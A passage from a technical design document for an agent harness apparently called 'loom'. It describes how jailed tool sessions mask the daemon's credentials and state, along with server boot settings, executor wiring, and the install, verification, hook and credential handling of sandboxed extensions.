session created there to edit `loom.toml` got a Seatbelt profile denying
reads over the jail's own working directory, so every jailed `bash`
answered `getcwd: cannot access parent directories`, `ls` printed
nothing, and the code-mode satellite could not open `.`. Each entry is
decided on one question — could a jailed process reading or writing it
obtain a credential, another session's data, or the daemon's control?
Masked: `owner.token`, `tokens/`, `sessions/`, `catalogue.db` with its
WAL family, `workspaces/`, `domains/`, `locks/`, `daemon.lock`,
`launch.lock`, `endpoints/` and `daemon.endpoint` (those last two carry
no secret and are masked as *control*: a launcher adopts a running
daemon by the PID and birth marker it reads there), and `run/`, the
code-mode socket root, which only a satellite's own base reopens for
its one directory (`client/codemode.reaching_socket`). Not masked: the
`loom*.toml` catalogues, which name environment variables rather than
holding secrets, `extensions/`, `logs/` and `daemon.log`. The blob store
needs no entry: it is `blobs/` inside the session's domain directory
(`workspaces/<digest>/` or `domains/sessions/<id>/`), so the `workspaces/`
and `domains/` masks already cover it, and the base policy protects
nothing inside the workspace. `workspaces/` and `domains/` are created by `daemon/root.directories`
and sit in `established_masks`, so a session admitted before the first
domain of either kind still masks both. Adding an entry that the daemon
creates lazily means adding it to `lazy_masks`, not `established_masks`: the
jail refuses to mask a *missing* protected path under a read-only
parent, and that refusal is a refusal of every jailed call. `lazy_masks`
is filtered on **existence or a writable root**, never on writability
alone — an ordinary workspace grants no writable root over `~/.loom`,
so a writability-only filter left `tokens/`, `workspaces/` and the
catalogue WAL readable from every jail. The public
`state_root_mask_candidates` is the unfiltered list; `protecting_state_root`
is what a session actually gets.
- `client/workspace_policy.build_plane_policy(writable, state_root)` — the base an
extension install's jailed build runs under, and the second place the
state root has to be masked. The extensions root is
`<state_root>/extensions` by default, so the build runs one directory
below `owner.token`. It grants no readable root beyond the staging
directory: `start_build_plane` discovers the toolchain *before* it
builds this base, then admits the discovered toolchain mounts onto it, so a compile reaches what it needs by name
rather than by inheriting the host. Every state-root entry goes in **conditionally**
here, `established_masks` included, because an install may be the first
thing that ever runs on a host and a mask over a path a daemon has not
yet written, under a parent the narrowed build may not write, is the
refusal that took every jailed compile with it in #304. No blob mask is
constructed either: an install has no content-addressed store, and a
session's store is in the state root, not in a root the plane can write.
`serve.start_build_plane` therefore takes a `state_root` argument, and
`client/extension/cli` derives it as the parent of the extensions root,
which is the inverse of `record.root_for`.
- `client/workspace_policy.admitting_codemode(base, discovered)` — the base half of
the code-mode mount plan. The toolchain is located *before* the base
policy is built (`workspace_plane.prepare` makes the discovery call and
`serve.code_mode_mcp` only reports it) because the base has to carry what a
satellite requires: mounts compose as the meet by path, so a base built
without them would refuse every code-mode launch. Both halves read
`client/codemode.toolchain_mounts`, so they cannot drift. A host with no
toolchain is left unchanged, because it registers no `code_mode` tool
and will launch no satellite. A toolchain prefix overlapping a
`protected` entry — a seed unpacked inside the daemon's state root, say
— is refused at boot by `base_policy_fault` naming both paths, which is
the same treatment `broker/policy.validate` gives every mount-over-mask
pair.
- `client/workspace_policy.admissible_toolchain(discovered, base)` — the step in
front of `admitting_codemode`, in both the session assembly and
`start_build_plane`. It turns a discovered toolchain into an `Error`
when one of its mounts would shadow a writable root of `base`
(`codemode.clear_of`), so the base never carries the mount — which
`validate` and the helper now refuse (`protocol-change/057`), and which
would otherwise refuse the whole boot — and no `code_mode` tool is built
while `serve.code_mode_mcp` logs the sentence. The session asks a base assembled with
the toolchain already in it for its writable roots, which is the same
answer, because `admitting_codemode` changes mounts and no root. An
operator's `[workspace] mounts` line naming a read-only ancestor of the
workspace is *not* filtered: `base_policy_fault` refuses the boot naming
both paths, the treatment every written mount gets.
- `client/workspace_policy.{base_policy_for, admitting_config_mounts}` select the
session's filesystem view. `catalog.ReadScope` defaults to `HostReads`,
with readable root `/`; `WorkspaceReads` selects the minimal helper view.
The trusted `[workspace] read_scope` setting and daemon `--read-scope`
flag select between them. There is no language-specific admission list
and session assembly does not infer read grants from package manifests.
Writes remain scoped to the workspace, linked Git metadata, and explicit
writable mounts. Native reads (`fs_read`, code mode's `fs.*` and
`search.*`) are judged by the same policy value: `codemode.workspace_seam_*`
and `search_seam_*` take the session base policy and widen it with the
request's additions (ADR-019). HOME and TMPDIR remain under the workspace, so build
caches do not require host-home writes. A configured mount overlapping
a protected path refuses assembly. Protocol-change/020's addendum records
why the minimal view is now an explicit restriction.
- `client/workspace_policy.base_policy_fault` refuses a **workspace inside a mask**
as well as a policy `broker/policy.validate` rejects. `protected` is the
policy's only subtractive verb and no grant carves a hole in one, so a
writable root at or under a masked entry yields a session that comes up
and then fails on its own working directory. It is refused at boot and
at session creation instead, naming the entry, so an operator who points
a workspace at `~/.loom/sessions` is told to choose another directory
rather than discovering it from the first tool call.
- `client/serve.Settings.codemode_seams` — which code-mode seams this
server offers (`--codemode-seams workspace|orchestration|both`,
default `WorkspaceOnly`). A setting for the same reason
`base_policy` is one: the choice belongs to whoever stands the server
up, and the Agency the orchestration seam routes onto does not exist
until `boot` has built it. An unrecognised flag value is a usage
error, not a fallback — a typo that quietly served the workspace seam
would look exactly like a server ignoring the flag.
- `client/serve.Instance` owns one session's runtime, broker, helper pool,
MCP layer, gateway and composition-service supervisor, `plane:
WorkspacePlane` (what the owner holds of the workspace half), and `lsp:
Option(workspace_plane.LspPlane)` — the language-server manager's handle,
the helper-lease counter and the servers' attribution operation, `None`
with no configured server. `pool`, `executor`, `broker` and `lsp` stay
populated from the local plane for the teardown paths and the tests that
read them.
Its `namespace` owns the 11 reclaimable service addresses and is retired
after the services stop. `prompt` retains the exact assembled prompt;
`helper_path` identifies the executable used by this session. Optional
`rulescan`, `schedulescan` and `memory_pass` addresses exist only when
their services are configured. `stops` belongs to the caller that opened
the instance. `open_instance` and `close_instance` expose this assembly
without a listener, token file, token directory or signal handler.
Each open generates a fresh random SQLite writer-owner identity. This
identity differs from the stable saved session ID: clean close removes
the lease row and permits fence one to recur, but an expired connection
must never match the replacement's owner-and-fence pair.
- `client/serve.{Resident, resident, resident_children, drain_resident}` — the
projection of a published `Instance` that the daemon instantiates
`daemon/manager` with, so it is both what the manager keeps in `Book.slots`
for every admitted session and what `ResolveIncarnation` replies with on
every websocket upgrade. Three fields: the hub `gateway` (all an attaching
socket reads), the fatal `children` (read once by the assembly host that
monitors them), and an `api.Drain` — the tree and session store a graceful
drain reaches strands through. None of the three grows with the host's
configuration, and none of them reaches `api.Runtime.effects`; the whole
`Instance` stays in the assembly host's build, which does not retain it
after publication. `drain_instance` is now `drain_resident` applied to the
projection, so the embedded and daemon drains remain one path.
- `client/serve.Booted` adds `served`, `token_path` and `bind_host` to an
`Instance`. `boot` retains the current single-session entry point while
sharing the same assembly. Listener setup failure closes the completed
instance. This is not yet daemon admission: partial-boot and owner-death
custody remain unfinished, and `close_instance` still discards the runtime
drain result instead of returning a reservation-release verdict.
- `client/host.{Stop, Host, adopt, retire, relay_sigterm}` — the root of
the server's process tree. `adopt` runs a boot on a dedicated
exit-trapping process so every link an `actor.start` forms lands there
rather than on the caller, and hands the boot the `Host` it runs on;
the first fatal death runs the teardown *first* — releasing the session
lease — and reports `Faulted` afterwards, leaving the exit status to
the entry point. `retire(host)` asks the host for the same teardown and
returns when the host has exited, so the teardown runs once, on the
host, however it was started; `serve.shutdown` is exactly that call.
`relay_sigterm` puts the signal on the same subject, so one receive
covers both ways the server stops.
- `client/serve.boot_with(settings, logger:)` (`@internal`, like `boot`;
both start the legacy listener above) — `boot` with an injected
`telemetry/log.Logger`, which is what `main` calls once it has
installed the JSON handler. The logger is a capability, not a setting
(§0.2): it is passed rather than parsed, and `boot` itself delegates
here with `log.discard()` so an embedding test boots a whole server
without a handler existing at all.
- `client/serve.{Settings, boot, shutdown, main}` — the server entry
point (`gleam run -m client/serve`, `bin/loomd` via the erlang
shipment): flags/env in, session + helper pool + broker + system
prompt + runtime + service supervisor + websocket server up, one
startup line out, and either `SIGTERM` or a fatal fault runs the same
`shutdown` so the lease is released rather than left to its TTL.
`client.main` delegates here for the shipment's entrypoint.
- `client/serve.Settings.demand` — the broker's enforcement contract.
`main` selects `PlatformEnforcement` by default, which is strict on Linux
and admits only ADR-006's three reported Darwin gaps. The
`--full-enforcement` flag asks for Linux-equivalent containment on every
platform; `--best-effort` explicitly accepts any honest degradation. The
two flags are mutually exclusive.
- `client/serve.{helper_ladder, seed_ladder}` — the two lookup orders,
taken as rungs rather than performed inline, because *order* is the
whole of what they decide and a lookup against the host running a test
cannot show an order. `helper_ladder` is `--helper`, the tree this
server shipped in, `PATH`, `./bin`; `seed_ladder` is `--codemode-seed`,
the workspace's own seed, the bundled one, and a named path for the
refusal to point at when nothing answers. The workspace rung is
`serve.usable_seed`, which admits a snapshot only after `seed.verify`
accepts it; a local daemon and an executor (`executor_plane.seed_of`) both
use it.
- `client/workspace_policy.{shell_path, base_policy, degraded, helper_probe_ms}` —
the host facts the system prompt and the jail must agree on: the shell
jailed commands run under, the *default* session base policy, and the
one question the prompt has no other source for — whether a helper's
hello advertises `degraded`, asked once at open by borrowing from the
pool the session will use anyway.
- `client/serve.Settings.helper_pool_size` — how many `loom-exec`
helpers may run at once, and therefore the real ceiling on how wide a
parallel tool batch runs. `resolve` fills it from `LOOM_HELPER_POOL`
or `exec.default_pool_size()` (schedulers online), never a literal, and
clamps *both* to `[exec.min_pool_size, exec.max_pool_size]` = `[4, 16]`.
Both ends are load-bearing: below two, code mode cannot run at all (a
satellite holds one helper for the node while the program's capability
calls ask for another), and above sixteen an operator's typo would ask
the host for that many live bwrap jails. A batch wider than it waits for a slot
inside `broker.clear_call` rather than coming back as a resource
error. Distinct from the broker's pooled `max_outstanding`, which
refuses amplification rather than describing what the host affords.
- `client/workspace_plane.start_effect_plane_in` — a session has one execution model,
the executor service (issue #696). There is no lane setting: S3 deleted
`ExecutorLane`, `Settings.executor_lane` and `LOOM_EXECUTOR_LANE`, so a
session cannot be opted back into the broker's per-call relay. It builds
the pool, then starts
`executor.start` over closures on that pool (`custody`, `checkout`,
`checkin`, `close_helpers`) and the session's `Logger`, which is where the
service's `executor.settled` and `executor.closed` lines go, makes
`executor.close(service, waiting: 5000)` the `Helpers` custody step (it
drains executions and returns the pool's own verdict), unlinks pool and
service together, and gives the broker `executor.dispatcher(service)` via
`broker.start_dispatching`. `Instance.executor` carries the service and
`instance_children` lists it as "the executor service", a fatal root: a
replacement could not be reached by the closures already holding the old
one. The boot-time `degraded` probe still borrows from the pool directly,
before the broker serves anything. `start_effect_plane`, which the build
plane, the check plane and the extension installer use, has no custody
instance to publish into but runs the same model: it starts the pool, the
executor service over it (`workspace_plane.start_service_lane`, with a
discarded logger and no custody)
and a `broker.start_dispatching` broker, and returns all three. The
`BuildPlane` and `CheckPlane` hold the executor, and `stop_build_plane` and
`stop_check_plane` close it with `executor.drain_ms` and
`executor.helpers_ms`; a close that errs falls back to `exec.stop_pool`
and reports nothing, so no native-exit verdict is invented. Production
therefore has one execution model. `broker.start` is the same service
over a pool's seams, for tests and `client/demo`; `broker/direct` is gone.
- `client/serve.Settings.base_policy` — the base every tool call is
composed against, and the thing an escalation widens. A field rather
than a `base_policy(workspace)` call inside `boot`, so a host may serve
a narrower base and let approvals widen it per call; `main` fills it
with `base_policy(workspace)`. Under the default nothing can park (see
Invariants), which is what made the escalation plane unreachable from
an end-to-end until `client/tui_e2e_test`.
- `client/serve.Settings.home` — the operator's home directory, where the
global `AGENTS.md` is looked for and carried ahead of the workspace's
files.
`resolve` fills it from `HOME` and `None` records that `HOME` was
unset. A field for the same reason `base_policy` is one: a boot that
reached into the process environment for it would make every test that
stands a server up read the developer's own `~/.agents/AGENTS.md`.
## Extensions
`client/extension/*` is the install *and dispatch* halves of the
extension design (`docs/design-notes/extension-architecture.md`,
"Hardening the install" and "Tool registration and dispatch"). Three
rulings shape it: an install fetches a **tree, not a git session**, so
there is no git client anywhere in the path; the tree it fetches is
**untrusted input read outside any jail**, so every reader here is
total; and every tool call is answered by a **jailed satellite**, so
nothing an extension ships ever runs in the harness VM.
Phase 3 changed the third of those from "one jailed execution per call"
to "one jailed satellite per session" (`protocol-change/012`, ADR-007
Decision 3). An extension's artifact is compiled once at install, so a
node boot per call was paying for nothing, and an extension could keep no
state at all between calls. `client/extension/hosts` now holds one
`codemode/satellite.Host` per installed extension for the life of the
session and sends each call to it as a `hook_call`. Holding a node open
widens nothing: the satellite host mints a token per invocation and
revokes it on the answer, so an extension may keep actors between calls
and may not reach a capability between them.
- `client/extension/source` — the grammar of what an operator may type.
`Source` is `LocalPath | ArchiveUrl | GitHub`; `parse` refuses
`git://`, `ssh://`, `git+ssh://`, the scp-style `git@host:path`,
`file://` and `http://` by name, with a message that states the three
accepted forms. `archive_url` derives codeload's
`https://codeload.github.com/<owner>/<repo>/tar.gz/<rev>` (`HEAD` when
no revision was named) and refuses a revision paired with an archive
URL, because an archive URL already names exactly one tree. `host`
extracts the lowercase host the fetch policy allows, refusing userinfo
rather than stripping it.
- `client/extension/archive` — the total tar.gz reader, the local
directory walker, and the tree digest. `extract` inflates through
`client/internal/ffi_zlib` under `Caps.max_total_bytes`. Its Erlang adapter
delegates inflation to the shared `host_zlib_ffi` primitive, abandoning
the stream the moment it goes over, so a decompression bomb is never
materialised; the ustar reader then admits only regular files,
directories and pax headers, refusing links, devices, fifos and GNU
long-name extensions by name. `from_directory` pushes a real directory
through the same collector, additionally refuses a symlink (the root
included — `path` is lstat'd before the walk) and a non-regular file,
and skips a directory named exactly `.git` so that a working checkout
reads as its export. `digest` is
lowercase hex SHA-256 (via `tools/blob.ref_for`, the tree's one
SHA-256) over a length-prefixed encoding of the sorted files, and is
independent of `Tree.root` and `Tree.commit` — which is what lets an
install record be re-verified against a tree staged anywhere.
The exact path subset, and why the space and the invisible formatting
code points are outside it, is stated in `archive`'s module doc.
The rest of the path is phase 1's own, and each module is one question:
- `client/extension/manifest` — the total `extension.toml` decoder.
`Manifest` carries `[extension]`, the `[[tool]]` list (name,
description, `prompt_snippet`, `parameters`, `entry`, `timeout_ms`),
the `[[hook]]` list, and `[net]` with its `[[net.secret]]` bindings.
Unknown keys are errors in *every* table, which is what refuses the
`[client]` table the design note reserves for a later ruling without a
special case for it. `tier` decodes `"jailed"` (`Jailed`) and
`"profile"` (`Profile`, ADR-016 §3). Three rules need
the tree beside the manifest, so `decode` takes a `Surroundings`: a
tool's `parameters` must be a path under `schema/` that exists and
parses as JSON, its `entry` must name a module `src/` ships, and a
secret's `host` must be one of `[net].hosts`. A secret carries the
*name* of an environment variable and never a value, the rule
`api_key_env` set one layer out. `Manifest` also carries `lsp:
List(profile.LspServer)` and `checks: List(Check)` (`Check(server,
fixture, query: CheckQuery(Definition | References), symbol, path:
Option(String), line: Option(Int), expect: List(Site(path, line)))`).
**Invariant: the tiers declare disjoint tables, each refusing the
other's by name.** A profile needs at least one `[lsp.<name>]`, decoded
by `profile.decode_servers` so a profile means in a manifest what it
means in `loom.toml`, and refuses `[[tool]]`, `[[hook]]` and `[net]`
("a profile extension runs no code; [[tool]] is not allowed"); a jailed
manifest refuses `[lsp]` and `[[check]]` and still needs a `[[tool]]`.
A check's `server` is one of the manifest's own, its `fixture`
(default `fixture`) holds a file in `Surroundings.files`, `line` needs
`path`, and `expect` is non-empty; every path is relative with no
empty, `.` or `..` component. `declared_tier(text)` reads the tier
alone, for the install to choose its path.
- `client/extension/record` — the install record, JSON with a total
decoder, and the `Root` value that says where installs live.
`root_for(home)` is `<home>/.loom/extensions`; the root is a value
resolved from `Settings.home` (or `--home`) rather than an environment
read inside the pipeline. The record stores the *terms* of the
approval — the tree digest, the manifest hash, the allowlist, the net
policy with secret names only, and (format 2) the `#(event, entry)`
hooks — because recomputing them at load would mean an operator's yes
silently followed the harness's current idea of the seam. A format-1
record is refused rather than read with an empty hook list: it cannot
say whether hooks were approved, and the honest answer is to ask.
`readable(text)` is the door discovery uses, and it decodes the
version *first* — the full decoder would otherwise reach a format-1
file before the version check and report a missing `hooks` field when
the fact an operator needs is the version skew. Format 3
(`format_version`) adds `tier` and `lsp`, the approved profiles in full
through `profile.encode_server` / `profile.server_decoder`; a format-2
record (`legacy_format_version`) is still read, as `Jailed` with `lsp:
[]`, and every other format is refused naming "reads 2 or 3". A profile
record's `allowlist`, `manifest_hash` and `artifact` are empty.
- `client/extension/install` — the pipeline, as six steps each returning
a `Failure` naming its layer: `Fetch`, `Extract`, `Manifest`,
`Vetting`, `Compile`, `Record`. The fetch and the jailed build are
both injected (`Fetcher`, `Build`), so the module holds no HTTP client
and no broker, and a test drives the whole thing with a fetcher that
was never called. `run` reads the fetched tree's tier first
(`manifest.declared_tier`) and takes one of two paths. **A profile
install never calls the build seam and never vets**: it decodes the
manifest against the fetched tree's text, prunes to `extension.toml`,
root-level `README*`/`LICENSE*` files (a path with a `/` never matches,
so `README-assets/` is pruned) and each check's fixture directory, refuses a
kept non-UTF-8 file, and stages and records exactly as the jailed path
does, with no artifact directory. The rest of this entry is the jailed
path.
**`installed_tree` runs first and everything after sees only what it
kept.** A repository is not an installed extension — it has tests, a
`.gitignore`, `.github/`, docs, Gleam's resolved `manifest.toml` and a
`build/` directory — so `codemode/vet/package.installed_subset` prunes
it to `src/**/*.gleam`, `schema/**`, `skills/**`, `extension.toml`,
`gleam.toml`, `README*`, `LICENSE*` before the UTF-8 decode, the
manifest, the vetting, the digest and `write_tree`. That ordering is
what makes the recorded digest a claim about the *installed* tree, and
it is why the UTF-8 refusal reaches only installed files: a screenshot
under `docs/` is pruned, and one under `schema/` is refused.
`entry_source(tools, hooks)` generates the `loom_satellite` module that
imports each registration's entry module and calls
`ext/runtime.serving(tools:, hooks:)` — a call that runs for the life
of the satellite rather than serving once. A `[[tool]]`'s entry module
must expose `pub fn run` (`entry_function`) and a `[[hook]]`'s must
expose `pub fn on_event` (`hook_function`): two names rather than one
because a module may serve both, and generated code that named them the
same would not compile — in the worst place for a compile error, since
nobody wrote the file. The aliases are positional and per distinct
module, because two tools may share an entry module, a tool and a hook
may too, and importing one twice is a compile error in generated code.
- `client/extension/installed` — `discover(root)` and `one(root, name)`,
each returning `Ready` or `Refused`; `verified(root, name)` makes the
same checks and answers `Verified(record, manifest, artifact, tree)`,
the `archive.Tree` the digest was computed over, for a caller that uses
the installed files (`check` writes its fixture from it). Five things are re-derived from
disk and compared with the record: the tree digest, the artifact's
content address (with `build.fingerprint_directory`, the function the
build itself used), the manifest, the vetting, and the allowlist. After
the manifest, the manifest's tier must equal the record's (so a record
cannot talk a jailed tree out of its vetting), and a profile record then
skips the vetting, the allowlist and the artifact and checks instead
that the manifest's `lsp` equals the record's; a mismatch refuses "the
manifest's language profiles no longer match the install record".
`Ready.artifact` is `""` for a profile. `summarise` prints a profile as
`lsp: go (.go), rust (.rs)`.
**Nothing is pruned here**, and that is the point: the install already
narrowed the repository to the extension's own tree and wrote exactly
that, so what is under `<name>/src/` *is* the installed tree and a file
dropped in afterwards must change the digest. Pruning again at load
would forgive exactly the tampering the digest exists to catch. A
refusal is a *value* rather than a shorter list, because an operator
who installed something and sees nothing cannot tell "it is broken"
from "I imagined it".
- `client/extension/cli` — `install`, `list`, `remove`, `verify`,
`check`, the first subcommand surface in the tree. The verb is the first argument
and the rest is the flat-recursion flag parse `client/serve` uses.
`build_for` is the install's build seam over a started `BuildPlane`.
`install` starts that plane **inside** the build seam, on the one call a
jailed install makes, and stops it there on every path out, so a
profile installs on a host with no code-mode toolchain or helper; a
plane that will not start is a `compile:` refusal. `installed_lines`
renders a success: tools and the jail's enforcement line for a jailed
extension, `profile.approval_lines` per server for a profile. `check`
is `client/extension/check.run` with the operator's demand
(`--best-effort` as `install` spells it) and the daemon's places and
environment; a failed check is an exit-1 error whose text is the whole
report.
- `client/extension/check.{Setup, Run, Report, run, lines, failed, total,
enforcement_line, release_wait_ms}` — `loom ext check` (ADR-016 §5).
`run(root, name, setup)` refuses, before starting anything, an
extension `installed.verified` refuses, a jailed one, and a profile
with no `[[check]]`; then per `(server, fixture)` group it writes the
fixture from the verified tree's bytes (never copied from disk, which
would follow a link planted after install) to
`<root>/.staging/check-<token>/work`, judges the scratch's real path
(`host/bootstrap.canonical_directory`) against `/tmp` and
`/private/tmp` and refuses either by name, starts `serve.start_check_plane` over it, prints the
probe's `enforcement.Report` (`manager.probe_server`), starts a
`manager` over the one approved server (roots via
`workspace_policy.lsp_server_roots` and `Setup.places`, `toolchain: None`), runs
`profile_check.run_all` through `manager.door`, and stops the manager,
waits for its lease, aborts the operation, stops the plane and deletes
the scratch on every path out. **Invariant: the profile proved is the
install record's**, the one the operator approved, and the fixture is a
copy, so a writable project never edits the digest-guarded tree.
Phase 3 added the hook bus, and it hangs off the same satellites the
tools reach:
- `client/extension/hooks` — two `weft/event_manager`s per session, one
handler per installed extension that declares a `[[hook]]` on each, the
handler's state its name, the events it declared and its `Invoker`.
Two managers because a manager's mailbox is a queue: the four
notify-only events are cast onto the notice manager and the three
answering ones are `sync_notify`ed on the other, so a slow `usage`
handler cannot spend the `tool_call` gate's fan-out budget and turn a
second extension's block into an `Allow`. `subscribers(bus, on:
Answering | Notifying)` is per manager for the same reason a drop is:
`event_manager` removes a handler from the inside and offers no handle
onto its twin.
`Invoker = fn(String, String, MsgPackValue, Int) -> Result(MsgPackValue,
HookFailure)` is the seam onto the persistent satellite host, injected
so the bus is drivable with functions and so the host lands in one
place; `HookFailure` is `Unhandled | Refused(reason) | Crashed(reason)
| Deadline | Gone`, of which the last three cost a handler its place
and the first two do not. The one implementation a session builds is
`hosts.invoker(hosts, at:)`, so a hook event and a tool call reach the
same node; `unwired()` — every call `Gone` — is now only what a test
drives the bus with. Seven events fan out (`session_start`,
`before_agent_start`, `tool_call`, `agent_end`, `agent_settled`,
`before_compact`, `usage`), the three that need an answer through
`sync_notify` plus a drained reply subject — on a weft-bounded worker, never on the caller, because
`sync_notify` is a `call` and a `call` that is not answered in time
panics its caller, and the callers are strand drivers sharing one
answering manager. An unanswered fan-out is an empty list: no injection, and no
block on a call the built-in clearance already cleared. `context` and
`tool_result` are chained transforms and so are
`fold_context`/`fold_tool_result` over the same ordered list, not bus
events. `wire(effects, bus, session, clock)` composes the bus into a
built `Effects` by *wrapping* seven slots, the pattern
`notes.digest_hooks` and `agency.reaping_hooks` set. `injection` and
`note_block` are the `<extension name=…>` fences a run-start injection
and a compaction note are rendered in — the harness writes them, never
the extension, for the reason `system_prompt.render_file` gives about
instruction files. The module documentation is the normative table of
all nine wire shapes; the extension's side of the same wire is
`ext/hook`.
- `client/extension/hooks.{compaction_notes, usage}` — phase 4c's two
events. `compaction_notes(bus, op, cue)` fans `before_compact` out and
gathers every note in load order, rendered through `note_block` and
bounded cumulatively by `context_growth_tokens`; a note that would
overrun the allowance is dropped whole rather than truncated, because
half a note says something its author did not. It rides on
`effects.Hooks.compaction_note` and it is **not a veto** — the
compaction is already decided when the event fires, which is the
non-vetoing form of the `session_before_*` hooks the design note
refused. `usage(bus, op, row)` is a plain `notify` on
`effects.Hooks.usage`, carrying the ledger row's numbers and
coordinates and never its `details`.
Phase 2 added the dispatch half and phase 3 the session's hosts, as
four modules — three pure or stateless, plus the one actor that owns
the nodes:
- `client/extension/policy` — pure. `egress_for(net, trust:)` turns the
manifest's `[net]` table into `Egress`: `Reaches(egress.Policy)` or
`ReachesNothing` for a manifest that named no table. `hosts`,
`methods`, `max_response_bytes` and the `[[net.secret]]` bindings are
the manifest's verbatim; `redirects` (`SameHost(2)`), `timeout_ms` and
`trust` are this module's, because none of the three is something an
extension author should be able to state about themselves.
`ceilings(net)` is `requests_per_call` on `net.request` and nothing
else — the `ext.call` ceiling went with the capability
(`protocol-change/012`), and the tally is now reset per *invocation* by
`satellite.Invoking`, which is what makes `requests_per_call` mean per
call on a node that outlives the call. `denial(refusal)` sorts every `egress.Refusal` onto the
side of `cap/net.map_error`'s split it belongs on — a request the
policy would never have permitted carries a `NetDenied` code
(`not_allowed`, or `network_off` for no `[net]` at all, or `policy`
for the ceiling), and a permitted request that failed on the wire
carries `net_failed`, which is `NetFailed`. Filing one on the wrong
side is the difference between an author retrying and an author
reinstalling.
- `client/extension/seam` — the router arm, msgpack in and msgpack out,
holding no policy at all. `routing(extension, over: inner)` answers
`net.request` (through `Egress.perform`, an injected function with the
policy, the credential lookup and the refusal mapping closed over) and
the two memory arms, `ext.remember` and `ext.recall` (through
`Memory`'s two closures, with the durability behind them), and hands
every other name down. `serviced_caps` is those three names; the
`ext.call` arm with its `Call`/`call_value` shapes went with the
capability. The memory arms check the *leaf* key they are sent —
`checked_key`: non-empty, no `/`, at most `max_key_length` — and the
value against `max_value_bytes`, and nothing more: which subtree a cell
lands in is bound by `client/extension/dispatch` from the install
record, so this module never learns an extension's name. `Ask`/`Answer` restate `cap/net`'s
`Request`/`Response` rather than naming `broker/egress`'s, so a test
drives the whole arm with a function and no socket. Every inbound field
is decoded totally; a malformed request is refused by the *plan*, so it
consumes no ordinal and no admission.
- `client/extension/memory` — the durable half of those two arms, and
the same split `client/scheduleseam` fills for `tools/schedule`: the
seam owns the wire, this owns the store. `Cell(extension:, key:)` and
`key(cell)` are the one composition of `ext/<name>/<key>`, so the
confinement is a line rather than a convention; `door(Wiring(runtime:))`
borrows the live runtime through the Agency's holder
(`for_session(agency_config)`, because the runtime does not exist until
`api.open` has returned the registry these tools are in);
`shut(reason)` is what a host with no session hands the dispatch, so
the capability is routed and refuses with a sentence. A write is
`put_reserved_fact` — blind, latest-wins, no compare-and-set — and a
read is the plain `fact`, which never consulted the reservation. The
value is parsed with `core/json.parse` on the way in and rendered on
the way out, so a cell holds a document rather than a quoted string.
- `client/extension/hosts` — the session's satellites, held open and
handed out. One supervised actor per session keeps at most one
`satellite.Host` per installed extension, starts it lazily on that
extension's first use, and stops every one of them when the session
ends. `invoke` and `invoke_event` are the two entry points, over a
`Hosts` seam closed over the actor's registered *name* rather than a
subject (the `client/scratch.seam` pattern: the seam is built while the
registry is assembled and the actor starts later, under a supervisor);
`none()` is the seam a session with no registry hands out, refusing
every invocation in band. `Coordinates` is where an invocation sits —
`{op_id, step_id, strand, workspace, base_policy, demand, env}` — one
record because a tool dispatch fills it from `tool.Ctx` and a hook fills
it from the strand the event fired on, and a positional signature they
both have to get right is one either can get wrong silently.
`Extension` is the recipe: a name plus `start`/`invoking` *functions*,
because a host is launched under the coordinates of whichever call was
first and an invocation is judged under its own. `HookFailure`
(`Unhandled | Refused | Crashed | Deadline | Gone`) is deliberately
smaller than `satellite.InvokeError`: what a caller does depends on
whether the extension answered, died mid-answer, ran out of time, or is
not there any more. **The actor performs each invocation on its own
timeline, so its mailbox is the queue** and a second caller waits rather
than reading `Busy` — which makes it a session-wide serialiser rather
than a per-extension one, a deliberate simplification whose only cost is
two *different* extensions invoked from two strands at the same moment.
A host the satellite lost is `Departed` for the rest of the session, and
every later call on that extension is `Gone`.
`invoker(hosts, at:)` is `invoke_event` curried into a
`hooks.Invoker`, with `bus_failure` restating this module's
`HookFailure` in the bus's; it is what makes a hook and a tool call
land on the same node. It satisfies the bus's contract by
construction rather than by care: the host arms the invocation's
deadline as the state timeout of the `Answering` state it belongs to,
and every step of `invoke` is a `Result`, so a wedged registry
degrades to `Gone` where a `process.call` would have exited the strand
driver. `client/serve` builds one such invoker per session, under
coordinates it mints an operation for: the bus's `Invoker` carries
none, because a hook fires on the harness's own timeline rather than
inside a run whose `{op_id, step_id}` it could borrow, so a hook's
reads are attributable to the session's hooks and never to whichever
run was in flight.
- `client/extension/dispatch` — `tools(config, record, manifest,
sources:, artifact:)` turns one `installed.Ready` into `tool.Tool`
values (`prompt_snippet` from the manifest, schema read from the
installed `schema/` file, `replay: tool.Never`, `execution_mode:
tool.Exclusive` — neither declared by the manifest, because both are
judgements about what the harness may do with a call), and `hosting`
turns the *same* record and the *same* configuration into the
`hosts.Extension` the registry launches from, in the same call, so a
host and a tool cannot end up describing different extensions.
`Config.hosts` is the registry seam. Each `run` builds this
invocation's `coordinates(ctx)` and hands them to `hosts.invoke` with
the model's arguments as JSON text in the `{args, strand}` envelope
`ext/runtime` reads; the answer goes through `settle`, which now takes a
`Result(MsgPackValue, hosts.HookFailure)` and is still public because it
is the one part of a dispatch a test can hold still. **No work directory
is prepared or removed per call**: a host's token file lives under
`codemode.host_root(config, extension:)` and its socket under
`codemode.host_socket_directory(config, extension:)`, both keyed on the
extension because they outlive every call. The router is two layers now rather
than three — `seam.routing` over `codemode.workspace_seam_for`'s bridge
over `satellite.default_router` — and it, the ceilings and the clearance
identity are all built per invocation. A call's wall budget is `within`,
the manifest's `timeout_ms` clamped to the operator's `max_within_ms` —
an extension tool is `Exclusive`, so the call holds the strand's
exclusive slot for the whole of it, and an install is not a way to raise
a host's ceiling. The *node's* own budget deadline is
`host_lifetime_ms` (twelve hours): the backstop a runaway satellite dies
against, far longer than a session and far shorter than forever, and
nothing anybody tunes. There is no MCP arm: `cap/mcp` is on no seam, so
an extension cannot name it. `Ctx.grants` are **not** composed onto an
invocation — an extension runs at exactly what its install approved,
where a `code_mode` call is the model's own program in this turn and
does compose them.
**The credential path, stated once.** A `[[net.secret]]` names an
environment variable, a host and a header. The *name* travels into
`egress.Policy`; the value is read by `broker/egress` through the
`secrets` function `serve` injects (`env_text`, the same store
`api_key_env` reads), after the origin and the method are judged, and
goes straight on the matching hop. It is in no `Tool`, no `seam.Answer`,
no `egress.Refusal` (no variant has a field for one), no `node_env` and
no `env_allow`, and `policy.summary` counts bindings rather than naming
values. `client/extension_e2e_test` reads the `LaunchSpec` and taps every
frame in both directions and asserts the value appears in neither.
**Boot registration is in `serve.assemble`.** `extension_registrations`
reads `installed.discover(record.root_for(Settings.home))`, logs each
`Refused` under `extension.refused` and retains its bounded operator notice,
logs `extension.unavailable` for a
`Ready` on a host with no toolchain — no `erl` means no satellite, and
registering tools that can only fail would put them in the provider's
